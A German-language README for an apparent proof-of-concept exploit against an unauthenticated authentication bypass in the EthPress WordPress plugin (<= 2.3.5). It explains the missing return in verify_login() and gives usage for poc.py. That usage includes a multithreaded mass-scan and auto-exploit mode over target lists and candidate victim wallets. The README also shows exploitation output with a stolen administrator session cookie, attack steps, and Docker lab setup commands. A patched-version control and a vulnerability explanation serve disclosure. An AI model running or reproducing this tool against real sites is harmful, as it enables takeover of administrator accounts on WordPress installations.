
Verifizierter Proof-of-Concept, der die unauthentifizierte Authentifizierungsumgehung in EthPress <= 2.3.5 ausnutzt und über eine Wallet-Adresse eine WordPress-Administratorsitzung erlangt.
Funktionierender, verifizierter Proof-of-Concept für die Umgehung der EthPress-Wallet-Login-Authentifizierung, entwickelt und validiert gegen das X-1-Localhost-Lab.
RAZZ, Benutzer-ID 1, roles=['administrator'])
und benötigt dafür lediglich eine öffentliche Wallet-Adresse.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) prüft die Wallet-Signatur, erzeugt bei
fehlgeschlagener Prüfung einen WP_Error — und vergisst dann das return:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
Die Ausführung läuft weiter in den Login-Block, Address::log_in() löst die
vom Angreifer übergebene Wallet-Adresse zu ihrem zugehörigen WordPress-Benutzer
auf, und wp_set_auth_cookie() authentifiziert diesen Benutzer. Die Antwort ist
{"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| Flag | Bedeutung |
|---|---|
-f, --file | Datei mit Ziel-URLs (eine pro Zeile, #-Kommentare) für Massenscan + Auto-Exploit |
-t, --threads | Anzahl gleichzeitiger Worker-Threads (Standard 10) |
-o, --output | Ausgabe-/Log-Pfad, JSON Lines (Standard cve-2026-19125-results.jsonl) |
-u, --url | einzelne Ziel-URL (wiederholbar) |
-a, --address | Opfer-Wallet-Adresse, die mit einem WordPress-Konto verknüpft ist |
-af, --address-file | Datei mit Kandidaten-Wallet-Adressen |
-k, --private-key | privater Schlüssel des Angreifers als Hex (Standard: frischer Zufallsschlüssel pro Angriff) |
--timeout | HTTP-Timeout in Sekunden (Standard 20) |
--verify-tls | TLS-Zertifikate verifizieren |
-q, --quiet | Fortschrittszeilen pro Ziel unterdrücken |
requests ist die einzige Abhängigkeit (pip install requests). Die gesamte
Ethereum-Kryptografie (Keccak-256, secp256k1, RFC-6979-Signierung,
Adress-Recovery) ist in poc.py ausschließlich mit der Standardbibliothek
implementiert.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php und ethpressLoginWP.loginNonce
auslesen. Es handelt sich um ein wp_create_nonce('ethpress_log_in'), das
für eine anonyme (uid=0) Sitzung erzeugt wurde und daher für den eigenen
nicht authentifizierten AJAX-Aufruf des Angreifers gültig ist.coinbase abweicht.
verify2() gibt [false, error] zurück — und 2.3.5 verwirft dies. (Eine
vollständig leere Signatur funktioniert ebenfalls; poc.py fällt
automatisch darauf zurück.)/wp-admin/
erreichen, den REST-Nonce der Sitzung auslesen und
/wp/v2/users/me?context=edit aufrufen → echte Benutzer-ID, Login und
Rollen; zusätzlich den Zugriff auf vier reine Administrator-Oberflächen
bestätigen.| Test | Build | Erwartet | Beobachtet | Artefakt |
|---|---|---|---|---|
| Positiver Exploit, verknüpfte Admin-Adresse | 2.3.5 | Übernahme | id=1 RAZZ roles=['administrator'], alle 4 Admin-Caps | results.jsonl, evidence/run-positive.log |
| Negativkontrolle, nicht verknüpfte Adresse | 2.3.5 | keine Sitzung | "You have not registered on this site" | results-neg.jsonl |
| Gepatchte Kontrolle, beide Primitive | 2.3.6 | abgelehnt | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Rohe curl-Reproduktion, ohne Tooling | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | bestätigt |
| Signatur-Eingabe-Grenzmatrix | 2.3.5 | gemischt | 2 deterministische Primitive; Zufalls-Blobs ≈50/50 oder HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, nicht verknüpfte Adresse | 2.3.5 | neue Abonnenten-Sitzung | Benutzer 0xAAAA... mit Rolle subscriber erstellt, eingeloggt (danach entfernt) | evidence/results-registration-open.jsonl |
Beliebigen Teil davon reproduzieren:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update schreibt genau den Storage-Key, den auch das plugin-eigene
Address::create() schreibt (update_user_meta($uid, 'ethpress', $coinbase)),
sodass die Vorbedingung auf dem legitimen Weg bereitgestellt wird — keine
künstliche Abschwächung des Ziels.
Referenz-Builds zum Diffen liegen außerhalb des Plugin-Verzeichnisses:
../_plugin-reference/ethpress/{vulnerable,latest}.
Ein In-Place-Austausch der Plugin-Versionen, während Apache weiterläuft, lässt
den alten kompilierten Bytecode im OPcache zurück. PHP führt dann weiterhin
die Dateien der vorherigen Version aus; da freemius/start.php:584 in 2.3.6
freemius/require.php → includes/class-fs-hook-snapshot.php benötigt (eine
Datei, die nur in 2.3.6 existiert), lieferte die Seite HTTP 500, obwohl 2.3.5
auf der Platte lag. lab-switch-version.sh startet wp_app jetzt nach jedem
Wechsel neu und wartet darauf, dass /wp-login.php 200 zurückgibt. Immer die
laufende Version bestätigen, nicht nur die auf der Platte.